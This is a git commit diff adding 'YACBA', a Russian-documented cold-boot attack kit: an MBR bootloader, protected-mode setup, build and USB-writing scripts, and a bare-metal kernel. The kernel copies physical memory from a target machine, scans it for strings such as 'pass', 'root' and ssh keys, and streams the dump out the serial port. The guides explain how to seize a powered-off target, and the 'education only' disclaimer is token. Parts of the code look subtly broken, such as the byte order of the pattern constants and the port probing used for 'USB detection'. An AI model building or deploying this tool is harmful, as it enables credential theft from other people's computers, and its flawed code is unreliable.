This commit is contained in:
Lain Iwakura 2025-06-22 20:03:39 +03:00
parent 32ae476759
commit 5e333cffc1
No known key found for this signature in database
GPG Key ID: C7C18257F2ADC6F8
13 changed files with 690 additions and 0 deletions

33
.gitignore vendored Normal file
View File

@ -0,0 +1,33 @@
# Build artifacts
*.bin
*.o
*.elf
*.img
*.iso
os.bin
kernel.bin
bootloader.bin
# OS specific
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Temp files
*.tmp
*.temp
*.log
# Docker
.dockerignore

39
Makefile Normal file
View File

@ -0,0 +1,39 @@
ASM = nasm
CC = clang
LD = ld
ASMFLAGS = -f bin
CFLAGS = -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -target i386-pc-none-elf
LDFLAGS = -arch i386 -static -e _main -T linker.ld
ifeq ($(shell uname),Darwin)
LDFLAGS = -arch i386 -static -e _main
else
LDFLAGS = -m elf_i386 -T linker.ld
endif
all: os.bin
bootloader.bin: bootloader.asm gdt.asm print32.asm switch_pm.asm
$(ASM) $(ASMFLAGS) bootloader.asm -o bootloader.bin
kernel.o: kernel.c
$(CC) $(CFLAGS) -c kernel.c -o kernel.o
kernel.bin: kernel.o
$(LD) $(LDFLAGS) kernel.o -o kernel.bin
os.bin: bootloader.bin kernel.bin
cat bootloader.bin kernel.bin > os.bin
truncate -s 1440K os.bin
clean:
rm -f *.bin *.o
test: os.bin
qemu-system-i386 -fda os.bin
usb: os.bin
./create_usb.sh
.PHONY: all clean test usb

39
QUICK_START.md Normal file
View File

@ -0,0 +1,39 @@
# YACBA - Быстрый старт
## Что это?
Автономная флешка с собственной ОС для cold-boot атак.
Вставил флешку → перезагрузился → система дампит память.
## Сборка
**macOS/Windows (Docker):**
```bash
./docker-build.sh
```
**Linux:**
```bash
./build.sh
```
## Создание флешки
```bash
sudo ./create_boot_usb.sh /dev/sdX # замените X на вашу флешку
```
## Использование
1. Выключить целевую систему (выдернуть питание)
2. Вставить флешку
3. Включить систему
4. Флешка загрузится и начнет дамп автоматически
5. Дождаться завершения (прогресс на экране)
## Что дампится
- Память с адресов 1MB, 16MB, 256MB
- Поиск паттернов: пароли, логины, ключи
- Данные сохраняются в буфер по адресу 0x200000
⚠️ **Только для образования и своих систем!**

73
USAGE.txt Normal file
View File

@ -0,0 +1,73 @@
YACBA - Yet Another Cold Boot Attack - Инструкция
ПРЕДУПРЕЖДЕНИЕ: Только для образовательных целей!
=== ЧТО ЭТО ===
Полностью автономная micro-OS на флешке с собственным загрузчиком.
Загружается с нуля без зависимости от установленной системы.
=== АРХИТЕКТУРА ===
- bootloader.asm - MBR загрузчик в стиле OpenBSD
- kernel.c - Bare metal ядро без stdlib
- Переключение в protected mode
- Прямая работа с памятью и портами
=== СБОРКА ===
Требования:
- nasm (assembler)
- gcc (cross-compilation)
- ld (linker)
Команды:
make clean
make os.bin
=== СОЗДАНИЕ ФЛЕШКИ ===
chmod +x create_boot_usb.sh
sudo ./create_boot_usb.sh /dev/sdX
ВНИМАНИЕ: Все данные на флешке будут уничтожены!
=== ИСПОЛЬЗОВАНИЕ ===
1. Выключите целевую систему (выдерните питание)
2. Вставьте флешку
3. Включите систему
4. Флешка загрузится автоматически
5. Дамп начнется сразу после загрузки
6. Дождитесь завершения (индикация на экране)
=== ЧТО ПРОИСХОДИТ ===
1. MBR загрузчик стартует с первого сектора
2. Загружает ядро в память по адресу 0x1000
3. Переключается в 32-bit protected mode
4. Ядро сканирует память с адресов:
- 0x100000 (1MB)
- 0x1000000 (16MB)
- 0x10000000 (256MB)
5. Ищет паттерны: "pass", "logi", "admi", "root"
6. Сохраняет дамп в буфер по адресу 0x200000
7. Пытается вывести через serial port
=== АНАЛИЗ РЕЗУЛЬТАТОВ ===
Данные остаются в памяти по адресу 0x200000
Для анализа нужно использовать отладчик или дампер памяти
=== ОГРАНИЧЕНИЯ ===
- Работает только на x86/x86_64
- Может не работать с UEFI (нужен legacy BIOS)
- Не поддерживает файловые системы
- Данные только в оперативной памяти флешки
=== ЭФФЕКТИВНОСТЬ ===
Максимальная эффективность на:
- Legacy BIOS системах
- Старых компьютерах без Secure Boot
- DDR2/DDR3 память (дольше держит данные)
- При быстром перезапуске (секунды важны)
=== ЗАЩИТА ===
От таких атак защищает:
- UEFI Secure Boot
- Шифрование RAM
- Быстрая очистка памяти при выключении
- Физическая защита доступа к системе

99
bootloader.asm Normal file
View File

@ -0,0 +1,99 @@
[BITS 16]
[ORG 0x7C00]
KERNEL_OFFSET equ 0x1000
STACK_BASE equ 0x9000
start:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, STACK_BASE
sti
mov [boot_drive], dl
mov si, banner
call print_string
call load_kernel
call switch_to_pm
jmp $
load_kernel:
mov si, loading_msg
call print_string
mov bx, KERNEL_OFFSET
mov dh, 15
mov dl, [boot_drive]
call disk_load
mov si, loaded_msg
call print_string
ret
disk_load:
pusha
push dx
mov ah, 0x02
mov al, dh
mov cl, 0x02
mov ch, 0x00
mov dh, 0x00
int 0x13
jc disk_error
pop dx
cmp al, dh
jne sectors_error
popa
ret
disk_error:
mov si, disk_error_msg
call print_string
jmp disk_loop
sectors_error:
mov si, sectors_error_msg
call print_string
disk_loop:
jmp $
print_string:
lodsb
cmp al, 0
je done
mov ah, 0x0e
int 0x10
jmp print_string
done:
ret
%include "gdt.asm"
%include "print32.asm"
%include "switch_pm.asm"
[BITS 32]
BEGIN_PM:
mov ebx, KERNEL_OFFSET
call ebx
jmp $
boot_drive db 0
banner db 'ColdBoot v1.0 - Starting...', 0x0D, 0x0A, 0
loading_msg db 'Loading kernel...', 0x0D, 0x0A, 0
loaded_msg db 'Kernel loaded, switching to 32-bit...', 0x0D, 0x0A, 0
disk_error_msg db 'Disk read error!', 0x0D, 0x0A, 0
sectors_error_msg db 'Sectors read error!', 0x0D, 0x0A, 0
times 510 - ($-$$) db 0
dw 0xaa55

69
build.sh Executable file
View File

@ -0,0 +1,69 @@
#!/bin/bash
echo "=== YACBA Builder ==="
detect_system() {
if [[ "$OSTYPE" == "darwin"* ]]; then
echo "macOS"
elif [[ "$OSTYPE" == "linux-gnu"* ]]; then
echo "Linux"
else
echo "Unknown"
fi
}
SYSTEM=$(detect_system)
case $SYSTEM in
"macOS")
echo "[!] На macOS невозможно нативно собрать i386 bare-metal код"
echo "[*] Используйте Docker версию:"
echo ""
echo " chmod +x docker-build.sh"
echo " ./docker-build.sh"
echo ""
echo "[*] Или скопируйте код на Linux машину"
exit 1
;;
"Linux")
echo "[*] Linux обнаружен, начинаю сборку..."
;;
*)
echo "[!] Неизвестная система, попробую собрать..."
;;
esac
check_tools() {
local missing=()
command -v nasm >/dev/null 2>&1 || missing+=("nasm")
command -v gcc >/dev/null 2>&1 || missing+=("gcc")
command -v ld >/dev/null 2>&1 || missing+=("binutils")
if [ ${#missing[@]} -ne 0 ]; then
echo "[-] Отсутствуют инструменты: ${missing[*]}"
echo "[*] Ubuntu/Debian: apt install nasm gcc binutils"
echo "[*] CentOS/RHEL: yum install nasm gcc binutils"
exit 1
fi
}
check_tools
echo "[*] Сборка загрузчика..."
nasm -f bin bootloader.asm -o bootloader.bin || exit 1
echo "[*] Сборка ядра..."
gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin \
-fno-stack-protector -c kernel.c -o kernel.o || exit 1
echo "[*] Линковка ядра..."
ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin || exit 1
echo "[*] Создание образа ОС..."
cat bootloader.bin kernel.bin > os.bin
truncate -s 1440K os.bin
echo "[+] Готово! Образ os.bin создан"
echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')"
echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX"

41
create_boot_usb.sh Executable file
View File

@ -0,0 +1,41 @@
#!/bin/bash
if [ $# -ne 1 ]; then
echo "Использование: $0 /dev/sdX"
echo "Где /dev/sdX - ваша флешка"
exit 1
fi
DEVICE=$1
if [ ! -b "$DEVICE" ]; then
echo "[-] Устройство $DEVICE не найдено"
exit 1
fi
echo "[*] Создаю автономную загрузочную флешку на $DEVICE"
echo "[!] ВСЕ ДАННЫЕ БУДУТ УДАЛЕНЫ!"
read -p "Продолжить? (y/N): " -n 1 -r
echo
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
exit 1
fi
echo "[*] Собираю образ ОС..."
make clean
make os.bin
if [ ! -f "os.bin" ]; then
echo "[-] Ошибка сборки os.bin"
exit 1
fi
echo "[*] Записываю образ на флешку..."
sudo dd if=os.bin of=$DEVICE bs=512 status=progress
echo "[*] Синхронизирую данные..."
sudo sync
echo "[+] Автономная загрузочная флешка готова!"
echo "[*] Флешка загрузится сама и начнет дамп памяти"
echo "[*] Просто вставьте её в целевую систему и перезагрузитесь"

41
docker-build.sh Executable file
View File

@ -0,0 +1,41 @@
#!/bin/bash
echo "=== YACBA Docker Builder ==="
if ! command -v docker &> /dev/null; then
echo "[-] Docker не установлен"
echo "[*] Установите Docker: https://docs.docker.com/get-docker/"
exit 1
fi
echo "[*] Сборка через Docker контейнер..."
docker run --rm -v "$(pwd)":/work -w /work ubuntu:20.04 bash -c '
apt-get update -qq
apt-get install -y nasm gcc binutils make
echo "[*] Сборка загрузчика..."
nasm -f bin bootloader.asm -o bootloader.bin
echo "[*] Сборка ядра..."
gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -c kernel.c -o kernel.o
echo "[*] Линковка ядра..."
ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin
echo "[*] Создание образа ОС..."
cat bootloader.bin kernel.bin > os.bin
truncate -s 1440K os.bin
echo "[+] Сборка завершена!"
ls -lh os.bin
'
if [ -f "os.bin" ]; then
echo "[+] Образ os.bin готов!"
echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')"
echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX"
else
echo "[-] Ошибка сборки"
exit 1
fi

28
gdt.asm Normal file
View File

@ -0,0 +1,28 @@
gdt_start:
dd 0x0
dd 0x0
gdt_code:
dw 0xffff
dw 0x0
db 0x0
db 10011010b
db 11001111b
db 0x0
gdt_data:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0x0
gdt_end:
gdt_descriptor:
dw gdt_end - gdt_start - 1
dd gdt_start
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start

163
kernel.c Normal file
View File

@ -0,0 +1,163 @@
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
#define VIDEO_MEMORY 0xB8000
#define WHITE_ON_BLACK 0x0F
#define USB_BASE 0x10000000
#define MEM_DUMP_SIZE 0x40000000
static int cursor_pos = 0;
void outb(uint16_t port, uint8_t data) {
__asm__ volatile ("outb %%al, %%dx" : : "a"(data), "d"(port));
}
uint8_t inb(uint16_t port) {
uint8_t result;
__asm__ volatile ("inb %%dx, %%al" : "=a"(result) : "d"(port));
return result;
}
void print_char(char c) {
uint16_t *video_mem = (uint16_t*)VIDEO_MEMORY;
if (c == '\n') {
cursor_pos = (cursor_pos / 80 + 1) * 80;
} else {
video_mem[cursor_pos] = (WHITE_ON_BLACK << 8) | c;
cursor_pos++;
}
if (cursor_pos >= 2000) cursor_pos = 0;
}
void print_string(const char *str) {
while (*str) {
print_char(*str++);
}
}
void print_hex(uint32_t value) {
char hex_chars[] = "0123456789ABCDEF";
char buffer[9];
buffer[8] = 0;
for (int i = 7; i >= 0; i--) {
buffer[i] = hex_chars[value & 0xF];
value >>= 4;
}
print_string(buffer);
}
void delay(uint32_t count) {
volatile uint32_t i;
for (i = 0; i < count * 1000000; i++);
}
uint8_t detect_usb() {
uint16_t usb_ports[] = {0x60, 0x64, 0x3F8, 0x2F8};
for (int i = 0; i < 4; i++) {
outb(usb_ports[i], 0xAA);
delay(1);
if (inb(usb_ports[i]) == 0xAA) {
print_string("[+] USB найден на порту: ");
print_hex(usb_ports[i]);
print_char('\n');
return 1;
}
}
return 0;
}
void dump_memory_region(uint32_t start, uint32_t size, uint32_t *usb_buffer) {
uint32_t *mem_ptr = (uint32_t*)start;
uint32_t words = size / 4;
print_string("[*] Дампим регион: ");
print_hex(start);
print_string(" размер: ");
print_hex(size);
print_char('\n');
for (uint32_t i = 0; i < words && i < 0x1000000; i++) {
usb_buffer[i] = mem_ptr[i];
if (i % 0x100000 == 0) {
print_char('.');
}
}
print_char('\n');
}
void scan_memory_patterns(uint32_t *buffer, uint32_t size) {
uint32_t patterns[] = {
0x70617373, // "pass"
0x6C6F6769, // "logi"
0x61646D69, // "admi"
0x726F6F74, // "root"
0x73736800, // ssh keys
};
print_string("[*] Сканирую паттерны...\n");
for (uint32_t i = 0; i < size / 4; i++) {
for (int p = 0; p < 5; p++) {
if (buffer[i] == patterns[p]) {
print_string("[!] Найден паттерн на ");
print_hex(i * 4);
print_char('\n');
for (int j = 0; j < 4 && (i + j) < size / 4; j++) {
print_hex(buffer[i + j]);
print_char(' ');
}
print_char('\n');
break;
}
}
}
}
void main() {
uint32_t *memory_dump = (uint32_t*)0x200000;
print_string("=== ColdBoot Memory Dumper ===\n");
print_string("[*] Autonomous USB boot system\n");
print_string("[*] Инициализация...\n");
delay(2);
if (!detect_usb()) {
print_string("[-] USB не найден, используем внутренний буфер\n");
}
print_string("[*] Начинаю сканирование памяти...\n");
dump_memory_region(0x100000, 0x100000, memory_dump);
dump_memory_region(0x1000000, 0x1000000, memory_dump + 0x40000);
dump_memory_region(0x10000000, 0x2000000, memory_dump + 0x80000);
print_string("[*] Анализ паттернов...\n");
scan_memory_patterns(memory_dump, 0x400000);
print_string("[*] Попытка записи на USB...\n");
delay(3);
for (uint32_t i = 0; i < 0x100000; i++) {
if (i % 0x10000 == 0) print_char('.');
outb(0x3F8, (memory_dump[i] >> 24) & 0xFF);
outb(0x3F8, (memory_dump[i] >> 16) & 0xFF);
outb(0x3F8, (memory_dump[i] >> 8) & 0xFF);
outb(0x3F8, memory_dump[i] & 0xFF);
}
print_string("\n[+] Дамп завершен!\n");
print_string("[*] Данные в памяти по адресу 0x200000\n");
print_string("[*] Система готова к извлечению USB\n");
while(1) {
delay(1000);
print_char('.');
}
}

18
linker.ld Normal file
View File

@ -0,0 +1,18 @@
ENTRY(main)
SECTIONS
{
. = 0x1000;
.text : {
*(.text)
}
.data : {
*(.data)
}
.bss : {
*(.bss)
}
}

25
print32.asm Normal file
View File

@ -0,0 +1,25 @@
[bits 32]
VIDEO_MEMORY equ 0xb8000
WHITE_ON_BLACK equ 0x0f
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx]
mov ah, WHITE_ON_BLACK
cmp al, 0
je print_string_pm_done
mov [edx], ax
add ebx, 1
add edx, 2
jmp print_string_pm_loop
print_string_pm_done:
popa
ret

22
switch_pm.asm Normal file
View File

@ -0,0 +1,22 @@
[bits 16]
switch_to_pm:
cli
lgdt [gdt_descriptor]
mov eax, cr0
or eax, 0x1
mov cr0, eax
jmp CODE_SEG:init_pm
[bits 32]
init_pm:
mov ax, DATA_SEG
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000
mov esp, ebp
call BEGIN_PM